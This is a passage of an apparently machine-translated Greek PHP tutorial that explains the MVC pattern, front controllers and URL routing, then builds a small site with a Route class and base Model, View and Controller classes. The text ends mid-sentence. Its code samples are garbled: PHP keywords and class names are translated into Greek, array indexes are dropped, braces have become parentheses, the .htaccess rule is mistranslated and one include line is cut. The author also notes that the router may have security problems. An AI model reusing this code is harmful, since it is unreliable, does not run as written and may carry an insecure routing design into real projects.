    Οι έμπειροι προγραμματιστές PHP είναι απίθανο να βρουν κάτι νέο για τον εαυτό τους σε αυτό το άρθρο, αλλά τα σχόλια και τα σχόλιά τους στο κύριο κείμενο θα ήταν πολύ χρήσιμα! Επειδή Χωρίς θεωρία, η πράξη είναι αδύνατη, και χωρίς πρακτική, η θεωρία είναι άχρηστη, τότε πρώτα θα υπάρξει λίγη θεωρία και μετά θα προχωρήσουμε στην πράξη. Εάν είστε ήδη εξοικειωμένοι με την έννοια του MVC, μπορείτε να παραλείψετε το τμήμα της θεωρίας και να πάτε κατευθείαν στην πράξη.

    1. Θεωρία Το μοτίβο MVC περιγράφει έναν απλό τρόπο δομής μιας εφαρμογής, σκοπός του οποίου είναι να διαχωρίσει την επιχειρηματική λογική από τη διεπαφή χρήστη. Ως αποτέλεσμα, η εφαρμογή είναι ευκολότερη στην κλίμακα, τη δοκιμή, τη συντήρηση και, φυσικά, την εφαρμογή.

    Ας δούμε το εννοιολογικό διάγραμμα του μοτίβου MVC (κατά τη γνώμη μου, αυτό είναι το πιο επιτυχημένο διάγραμμα που έχω δει):

    Στην αρχιτεκτονική MVC, το μοντέλο παρέχει τα δεδομένα και τους κανόνες επιχειρηματικής λογικής, η προβολή είναι υπεύθυνη για τη διεπαφή χρήστη και ο ελεγκτής παρέχει αλληλεπίδραση μεταξύ του μοντέλου και της προβολής.

    Μια τυπική ροή μιας εφαρμογής MVC μπορεί να περιγραφεί ως εξής:

  • Όταν ένας χρήστης επισκέπτεται έναν πόρο Ιστού, το σενάριο προετοιμασίας δημιουργεί μια παρουσία της εφαρμογής και την εκκινεί για εκτέλεση.
    Αυτό εμφανίζει μια προβολή, ας πούμε, της κύριας σελίδας του ιστότοπου.
  • Η εφαρμογή λαμβάνει ένα αίτημα από τον χρήστη και καθορίζει τον ελεγκτή και την ενέργεια που ζητήθηκε. Στην περίπτωση της κύριας σελίδας, εκτελείται η προεπιλεγμένη ενέργεια ( δείκτης).
  • Η εφαρμογή εγκαινιάζει τον ελεγκτή και εκτελεί τη μέθοδο δράσης,
    το οποίο, για παράδειγμα, περιέχει κλήσεις μοντέλων που διαβάζουν πληροφορίες από τη βάση δεδομένων.
  • Μετά από αυτό, η ενέργεια δημιουργεί μια προβολή με τα δεδομένα που λαμβάνονται από το μοντέλο και εμφανίζει το αποτέλεσμα στον χρήστη.
  • Μοντέλο - περιέχει την επιχειρησιακή λογική της εφαρμογής και περιλαμβάνει μεθόδους για ανάκτηση (αυτές μπορεί να είναι μέθοδοι ORM), επεξεργασία (για παράδειγμα, κανόνες επικύρωσης) και παροχή συγκεκριμένων δεδομένων, που συχνά την καθιστούν πολύ πυκνή, κάτι που είναι φυσιολογικό.
    Το μοντέλο δεν πρέπει να αλληλεπιδρά άμεσα με τον χρήστη. Όλες οι μεταβλητές που σχετίζονται με το αίτημα χρήστη πρέπει να υποβάλλονται σε επεξεργασία στον ελεγκτή.
    Το μοντέλο δεν πρέπει να δημιουργεί HTML ή άλλο κώδικα εμφάνισης που μπορεί να αλλάξει ανάλογα με τις ανάγκες του χρήστη. Αυτός ο κώδικας θα πρέπει να υποβάλλεται σε επεξεργασία σε προβολές.
    Το ίδιο μοντέλο, για παράδειγμα: το μοντέλο ελέγχου ταυτότητας χρήστη μπορεί να χρησιμοποιηθεί τόσο στο χρήστη όσο και στο διαχειριστικό τμήμα της εφαρμογής. Σε αυτήν την περίπτωση, μπορείτε να μετακινήσετε τον γενικό κώδικα σε μια ξεχωριστή κλάση και να κληρονομήσετε από αυτήν, ορίζοντας μεθόδους για συγκεκριμένες υπο-εφαρμογές στους απογόνους του.

    Προβολή - χρησιμοποιείται για τον καθορισμό της εξωτερικής εμφάνισης των δεδομένων που λαμβάνονται από τον ελεγκτή και το μοντέλο.
    Οι προβολές περιέχουν σήμανση HTML και μικρά ένθετα κώδικα PHP για διέλευση, μορφοποίηση και εμφάνιση δεδομένων.
    Δεν πρέπει να έχει άμεση πρόσβαση στη βάση δεδομένων. Αυτό πρέπει να κάνουν τα μοντέλα.
    Δεν πρέπει να λειτουργεί με δεδομένα που λαμβάνονται από αίτημα χρήστη. Αυτή η εργασία πρέπει να εκτελεστεί από τον ελεγκτή.
    Μπορεί να έχει άμεση πρόσβαση στις ιδιότητες και τις μεθόδους ενός ελεγκτή ή μοντέλων για τη λήψη δεδομένων έτοιμα για έξοδο.
    Οι προβολές συνήθως χωρίζονται σε ένα κοινό πρότυπο, το οποίο περιέχει σήμανση κοινή για όλες τις σελίδες (για παράδειγμα, μια κεφαλίδα και ένα υποσέλιδο) και τμήματα του προτύπου που χρησιμοποιούνται για την εμφάνιση δεδομένων εξόδου από το μοντέλο ή την εμφάνιση φορμών εισαγωγής δεδομένων.

    Ο ελεγκτής είναι η κόλλα που συνδέει μοντέλα, όψεις και άλλα εξαρτήματα σε μια εφαρμογή εργασίας. Ο ελεγκτής είναι υπεύθυνος για την επεξεργασία των αιτημάτων των χρηστών. Ο ελεγκτής δεν πρέπει να περιέχει ερωτήματα SQL. Είναι καλύτερα να τα κρατάτε σε μοντέλα. Ο ελεγκτής δεν πρέπει να περιέχει HTML ή άλλη σήμανση. Αξίζει να το δεις.
    Σε μια καλά σχεδιασμένη εφαρμογή MVC, οι ελεγκτές είναι συνήθως πολύ λεπτοί και περιέχουν μόνο μερικές δεκάδες γραμμές κώδικα. Δεν μπορούμε να πούμε το ίδιο για τους Stupid Fat Controllers (SFC) στο CMS Joomla. Η λογική του ελεγκτή είναι αρκετά τυπική και το μεγαλύτερο μέρος της μεταφέρεται στις βασικές κλάσεις.
    Τα μοντέλα, αντίθετα, είναι πολύ παχιά και περιέχουν το μεγαλύτερο μέρος του κώδικα που σχετίζεται με την επεξεργασία δεδομένων, επειδή η δομή δεδομένων και η επιχειρηματική λογική που περιέχονται σε αυτό είναι συνήθως αρκετά συγκεκριμένα για μια συγκεκριμένη εφαρμογή.

    1.1. Μπροστινός ελεγκτής και ελεγκτής σελίδας Στις περισσότερες περιπτώσεις, η αλληλεπίδραση του χρήστη με μια εφαρμογή web πραγματοποιείται κάνοντας κλικ σε συνδέσμους. Κοιτάξτε τώρα στη γραμμή διευθύνσεων του προγράμματος περιήγησής σας - λάβατε αυτό το κείμενο από αυτόν τον σύνδεσμο. Άλλοι σύνδεσμοι, όπως αυτοί στη δεξιά πλευρά αυτής της σελίδας, θα σας παρέχουν διαφορετικό περιεχόμενο. Έτσι, ο σύνδεσμος αντιπροσωπεύει μια συγκεκριμένη εντολή στην εφαρμογή web.

    Ελπίζω να έχετε ήδη παρατηρήσει ότι διαφορετικοί ιστότοποι μπορούν να έχουν εντελώς διαφορετικές μορφές για την κατασκευή της γραμμής διευθύνσεων. Κάθε μορφή μπορεί να εμφανίσει την αρχιτεκτονική μιας διαδικτυακής εφαρμογής. Αν και αυτό δεν συμβαίνει πάντα, στις περισσότερες περιπτώσεις είναι ξεκάθαρο γεγονός.

    Ας εξετάσουμε δύο επιλογές για τη γραμμή διευθύνσεων, οι οποίες εμφανίζουν κάποιο κείμενο και ένα προφίλ χρήστη.

    Πρώτη επιλογή:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Εδώ, κάθε σενάριο είναι υπεύθυνο για την εκτέλεση μιας συγκεκριμένης εντολής.

    Δεύτερη επιλογή:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • Και εδώ όλες οι κλήσεις γίνονται σε ένα σενάριο index.php.

    Μπορείτε να δείτε την προσέγγιση πολλαπλών σημείων επαφής στα φόρουμ phpBB. Το φόρουμ προβάλλεται μέσω του σεναρίου viewforum.php, το θέμα προβάλλεται μέσω του viewtopic.php κ.λπ. Η δεύτερη προσέγγιση, στην οποία έχει πρόσβαση μέσω ενός ενιαίου φυσικού αρχείου σεναρίου, μπορεί να φανεί στο αγαπημένο μου CMS MODX, όπου όλες οι κλήσεις περνούν από το index.php.

    Αυτές οι δύο προσεγγίσεις είναι τελείως διαφορετικές. Η πρώτη είναι τυπική για το μοτίβο του ελεγκτή σελίδας και η δεύτερη προσέγγιση υλοποιείται από το μοτίβο του μπροστινού ελεγκτή. Ο ελεγκτής σελίδας είναι καλός για ιστότοπους με αρκετά απλή λογική. Με τη σειρά του, ο ελεγκτής αιτημάτων ενοποιεί όλες τις δραστηριότητες επεξεργασίας αιτημάτων σε ένα μέρος, γεγονός που του δίνει πρόσθετες δυνατότητες που μπορούν να σας επιτρέψουν να υλοποιήσετε πιο σύνθετες εργασίες από αυτές που συνήθως επιλύει ο ελεγκτής σελίδας. Δεν θα μπω σε λεπτομέρειες για την υλοποίηση του ελεγκτή σελίδας, αλλά θα πω μόνο ότι στο πρακτικό μέρος, θα αναπτυχθεί ο ελεγκτής αιτημάτων (κάτι παρόμοιο).

    1.2. Δρομολόγηση URL Η δρομολόγηση URL σάς επιτρέπει να διαμορφώσετε την εφαρμογή σας ώστε να δέχεται αιτήματα από διευθύνσεις URL που δεν αντιστοιχούν σε πραγματικά αρχεία εφαρμογής και να χρησιμοποιείτε CNC που έχουν σημασιολογική σημασία για τους χρήστες και προτιμώνται για βελτιστοποίηση μηχανών αναζήτησης.

    Για παράδειγμα, για μια κανονική σελίδα που εμφανίζει μια φόρμα επικοινωνίας, η διεύθυνση URL μπορεί να μοιάζει με αυτό:
    http://www.example.com/contacts.php?action=feedback

    Κατά προσέγγιση κωδικός επεξεργασίας σε αυτήν την περίπτωση:
    switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "About Us" αλλαγή σελίδας ; case "contacts" : require_once ("contacts.php" ); // αλλαγή σελίδας "Επαφές" ; περίπτωση "feedback" : require_once ("feedback.php" ); // Διακοπή σελίδας "Σχόλια" ; προεπιλογή : require_once ("page404.php" ); // σελίδα "404" αλλαγή ; )
    Νομίζω ότι σχεδόν όλοι το έχουν ξανακάνει αυτό.

    Χρησιμοποιώντας μια μηχανή δρομολόγησης URL, μπορείτε να διαμορφώσετε την εφαρμογή σας ώστε να δέχεται αιτήματα όπως αυτό για να εμφανίζει τις ίδιες πληροφορίες:
    http://www.example.com/contacts/feedback

    Εδώ οι επαφές αντιπροσωπεύουν τον ελεγκτή και η ανάδραση είναι η μέθοδος του ελεγκτή επαφών που εμφανίζει τη φόρμα σχολίων κ.λπ. Θα επανέλθουμε σε αυτό το θέμα στο πρακτικό μέρος.

    Αξίζει επίσης να γνωρίζετε ότι οι δρομολογητές πολλών πλαισίων ιστού σάς επιτρέπουν να δημιουργείτε προσαρμοσμένες διαδρομές URL (καθορίστε τι σημαίνει κάθε τμήμα της διεύθυνσης URL) και κανόνες για την επεξεργασία τους.
    Τώρα έχουμε αρκετές θεωρητικές γνώσεις για να προχωρήσουμε στην πράξη.

    2. Εξάσκηση Αρχικά, ας δημιουργήσουμε την ακόλουθη δομή αρχείου και φακέλου:


    Κοιτάζοντας μπροστά, θα πω ότι οι βασικές κλάσεις Model, View και Controller θα αποθηκευτούν στον βασικό φάκελο.
    Τα παιδιά τους θα αποθηκευτούν στους καταλόγους ελεγκτών, μοντέλων και προβολών. Το αρχείο index.php είναι το σημείο εισόδου στην εφαρμογή. Το αρχείο bootstrap.php ξεκινά τη φόρτωση της εφαρμογής, συνδέοντας όλες τις απαραίτητες μονάδες κ.λπ.

    Θα πάμε διαδοχικά. Ας ανοίξουμε το αρχείο index.php και ας το συμπληρώσουμε με τον ακόλουθο κώδικα:
    ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
    Δεν πρέπει να υπάρχουν ερωτήσεις εδώ.

    Στη συνέχεια, ας πάμε αμέσως στο αρχείο bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Διαδρομή::start(); //εκκίνηση του δρομολογητή
    Οι τρεις πρώτες γραμμές θα περιλαμβάνουν αρχεία πυρήνα που δεν υπάρχουν επί του παρόντος. Οι τελευταίες γραμμές περιλαμβάνουν το αρχείο με την κλάση του δρομολογητή και το εκκινούν για εκτέλεση καλώντας τη μέθοδο στατικής εκκίνησης.

    2.1. Εφαρμογή ενός δρομολογητή URL Προς το παρόν, ας αποκλίνουμε από την υλοποίηση του μοτίβου MVC και ας εστιάσουμε στη δρομολόγηση. Το πρώτο βήμα που πρέπει να κάνουμε είναι να γράψουμε τον ακόλουθο κώδικα στο .htaccess:
    RewriteEngine σε RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Αυτός ο κώδικας θα ανακατευθύνει όλη την επεξεργασία της σελίδας στο index.php, που είναι αυτό που χρειαζόμαστε. Θυμάστε στο πρώτο μέρος που λέγαμε για το Front Controller;!

    Θα τοποθετήσουμε τη δρομολόγηση σε ένα ξεχωριστό αρχείο route.php στον κεντρικό κατάλογο. Σε αυτό το αρχείο θα περιγράψουμε την κλάση Route, η οποία θα εκτελέσει μεθόδους ελεγκτή, οι οποίες με τη σειρά τους θα δημιουργήσουν την προβολή σελίδας.

    Περιεχόμενα του αρχείου route.php

    class Route ( static function start () ( // controller and default action $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // λήψη το όνομα του ελεγκτή if (!empty ($routes )) ( $controller_name = $routes ; ) // λάβετε το όνομα της ενέργειας εάν (!empty ($routes )) ( $action_name = $routes ; ) // προσθέστε προθέματα $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // συνδέστε το αρχείο με την κλάση μοντέλου (μπορεί να μην υπάρχει αρχείο μοντέλου) $model_file = strtolower ($model_name ). με την κλάση ελεγκτή $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( περιλαμβάνει "application/controllers/" .$controller_e ) else ( /* θα ήταν σωστό να βάλουμε μια εξαίρεση εδώ, αλλά για να απλοποιήσουμε τα πράγματα, θα ανακατευθυνθούμε αμέσως στη σελίδα 404 */ Route::ErrorPage404(); ) // δημιουργήστε έναν ελεγκτή $controller = νέο $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // καλέστε την ενέργεια του ελεγκτή $controller ->$action (); ) αλλιώς ( // εδώ θα ήταν επίσης πιο συνετό να βάλετε μια εξαίρεση Route::ErrorPage404(); ) ) συνάρτηση ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; header(" Τοποθεσία:" .$host ."404" ); ) )


    Σημειώνω ότι η τάξη εφαρμόζει πολύ απλοποιημένη λογική (παρά τον ογκώδες κώδικα) και μπορεί να έχει ακόμη και προβλήματα ασφαλείας. Αυτό έγινε σκόπιμα γιατί... Η σύνταξη μιας ολοκληρωμένης τάξης δρομολόγησης αξίζει τουλάχιστον ένα ξεχωριστό άρθρο. Ας δούμε τα βασικά σημεία...

    Το στοιχείο καθολικού πίνακα $_SERVER["REQUEST_URI"] περιέχει την πλήρη διεύθυνση με την οποία επικοινώνησε ο χρήστης.
    Για παράδειγμα: example.ru/contacts/feedback

    Χρησιμοποιώντας τη λειτουργία εκραγείΗ διεύθυνση χωρίζεται σε στοιχεία. Ως αποτέλεσμα, παίρνουμε το όνομα του ελεγκτή, για το παράδειγμα που δίνεται, αυτός είναι ελεγκτής επαφέςκαι το όνομα της δράσης, στην περίπτωσή μας - ανατροφοδότηση.

    Στη συνέχεια, το αρχείο μοντέλου (το μοντέλο μπορεί να λείπει) και το αρχείο ελεγκτή, εάν υπάρχει, συνδέονται και, τέλος, δημιουργείται μια παρουσία του ελεγκτή και καλείται η ενέργεια, ξανά, εάν περιγράφηκε στην κλάση ελεγκτή.

    Έτσι, όταν πηγαίνετε, για παράδειγμα, στη διεύθυνση:
    παράδειγμα.com/portfolio
    ή
    παράδειγμα.com/portfolio/index
    Ο δρομολογητής θα εκτελέσει τις ακόλουθες ενέργειες:

  • θα περιλαμβάνει το αρχείο model_portfolio.php από το φάκελο models, που περιέχει την κλάση Model_Portfolio.
  • θα περιλαμβάνει το αρχείο controller_portfolio.php από τον φάκελο ελεγκτών, που περιέχει την κλάση Controller_Portfolio.
  • θα δημιουργήσει μια παρουσία της κλάσης Controller_Portfolio και θα καλέσει την προεπιλεγμένη ενέργεια, action_index, που περιγράφεται σε αυτήν.
  • Εάν ο χρήστης προσπαθήσει να αποκτήσει πρόσβαση στη διεύθυνση ενός ανύπαρκτου ελεγκτή, για παράδειγμα:
    παράδειγμα.com/ufo
    τότε θα ανακατευθυνθεί στη σελίδα «404»:
    example.com/404
    Το ίδιο θα συμβεί αν ο χρήστης αποκτήσει πρόσβαση σε μια ενέργεια που δεν περιγράφεται στον ελεγκτή.2.2. Ας επιστρέψουμε στην υλοποίηση MVC. Ας πάμε στον βασικό φάκελο και ας προσθέσουμε τρία ακόμη αρχεία στο αρχείο route.php: model.php, view.php και controller.php


    Να σας υπενθυμίσω ότι θα περιέχουν βασικές κλάσεις, τις οποίες τώρα θα αρχίσουμε να γράφουμε.

    Περιεχόμενα του αρχείου model.php
    Model class (δημόσια συνάρτηση get_data ( ) ( ) )
    Η κλάση μοντέλου περιέχει μια ενιαία κενή μέθοδο ανάκτησης δεδομένων, η οποία θα παρακαμφθεί σε κλάσεις καταγωγής. Όταν δημιουργήσουμε τάξεις απογόνων, όλα θα γίνουν πιο ξεκάθαρα.

    Περιεχόμενα του αρχείου view.php
    class View ( //public $template_view; // εδώ μπορείτε να καθορίσετε την προεπιλεγμένη γενική προβολή. Συνάρτηση δημιουργίας ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // μετατροπή πίνακα στοιχεία σε μεταβλητές extract($data); ) */ περιλαμβάνει "application/views/" .$template_view ; ) )
    Δεν είναι δύσκολο να μαντέψει κανείς ότι η μέθοδος παράγωπροορίζεται να σχηματίσει άποψη. Οι ακόλουθες παράμετροι μεταβιβάζονται σε αυτό:

  • $content_file - προβολές που εμφανίζουν περιεχόμενο σελίδας.
  • $template_file — πρότυπο κοινό για όλες τις σελίδες.
  • Το $data είναι ένας πίνακας που περιέχει στοιχεία περιεχομένου σελίδας. Συνήθως συμπληρώνεται στο μοντέλο.
  • Η συνάρτηση συμπερίληψης συνδέει δυναμικά ένα γενικό πρότυπο (προβολή) εντός του οποίου θα ενσωματωθεί η προβολή
    για να εμφανίσετε το περιεχόμενο μιας συγκεκριμένης σελίδας.

    Στην περίπτωσή μας, το γενικό πρότυπο θα περιέχει κεφαλίδα, μενού, πλαϊνή γραμμή και υποσέλιδο και το περιεχόμενο της σελίδας θα περιέχεται σε ξεχωριστή φόρμα. Και πάλι, αυτό γίνεται για απλότητα.

    Περιεχόμενα του αρχείου controller.php
    Ελεγκτής κλάσης ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
    Μέθοδος δράση_ευρετήριο- αυτή είναι η ενέργεια που καλείται από προεπιλογή· θα την παρακάμψουμε κατά την υλοποίηση κλάσεων καταγωγής.

    2.3. Υλοποίηση των κατηγοριών απογόνων Μοντέλο και Ελεγκτής, δημιουργία Προβολών Τώρα αρχίζει η διασκέδαση! Ο ιστότοπος της επαγγελματικής μας κάρτας θα αποτελείται από τις ακόλουθες σελίδες:
  • Σπίτι
  • Υπηρεσίες
  • Χαρτοφυλάκιο
  • Επαφές
  • Και επίσης - η σελίδα "404".
  • Κάθε σελίδα έχει το δικό της χειριστήριο από το φάκελο ελεγκτών και μια προβολή από το φάκελο προβολές. Ορισμένες σελίδες ενδέχεται να χρησιμοποιούν ένα μοντέλο ή μοντέλα από το φάκελο μοντέλα.


    Στο προηγούμενο σχήμα, το αρχείο template_view.php επισημαίνεται ξεχωριστά - αυτό είναι ένα πρότυπο που περιέχει σήμανση κοινή για όλες τις σελίδες. Στην απλούστερη περίπτωση θα μπορούσε να μοιάζει με αυτό:
    Σπίτι
    Για να δώσουμε στον ιστότοπο μια εμφανή εμφάνιση, δημιουργούμε ένα πρότυπο CSS και το ενσωματώνουμε στον ιστότοπό μας αλλάζοντας τη δομή της σήμανσης HTML και συνδέοντας αρχεία CSS και JavaScript:

    Στο τέλος του άρθρου, στην ενότητα «Αποτέλεσμα», υπάρχει ένας σύνδεσμος προς ένα αποθετήριο GitHub με ένα έργο στο οποίο έχουν γίνει βήματα για την ενσωμάτωση ενός απλού προτύπου.

    2.3.1. Δημιουργία της κύριας σελίδας Ας ξεκινήσουμε με τον ελεγκτή controller_main.php , εδώ είναι ο κώδικάς του:
    Η κλάση Controller_Main επεκτείνει τον Ελεγκτή ( συνάρτηση action_index () ( $this ->view->generate("main_view.php" , "template_view.php"); ) )
    Στη μέθοδο παράγωμεταβιβάζονται μια παρουσία της κλάσης View, τα ονόματα των αρχείων του γενικού προτύπου και η προβολή με το περιεχόμενο της σελίδας.
    Εκτός από την ενέργεια ευρετηρίου, ο ελεγκτής μπορεί φυσικά να περιέχει και άλλες ενέργειες.

    Ελέγξαμε νωρίτερα το αρχείο γενικής προβολής. Εξετάστε το αρχείο περιεχομένου main_view.php:
    Καλως ΗΡΘΑΤΕ! Η OLOLOSHA TEAM είναι μια ομάδα κορυφαίων ειδικών στον τομέα της ανάπτυξης ιστοσελίδων με πολυετή εμπειρία στη συλλογή μεξικανικών μάσκες, χάλκινων και πέτρινων αγαλμάτων από την Ινδία και την Κεϋλάνη, ανάγλυφα και γλυπτά που δημιουργήθηκαν από δασκάλους της Ισημερινής Αφρικής πέντε ή έξι αιώνες πριν...
    Αυτό περιέχει απλή σήμανση χωρίς κλήσεις PHP.
    Για να εμφανίσετε την κύρια σελίδα, μπορείτε να χρησιμοποιήσετε μία από τις ακόλουθες διευθύνσεις: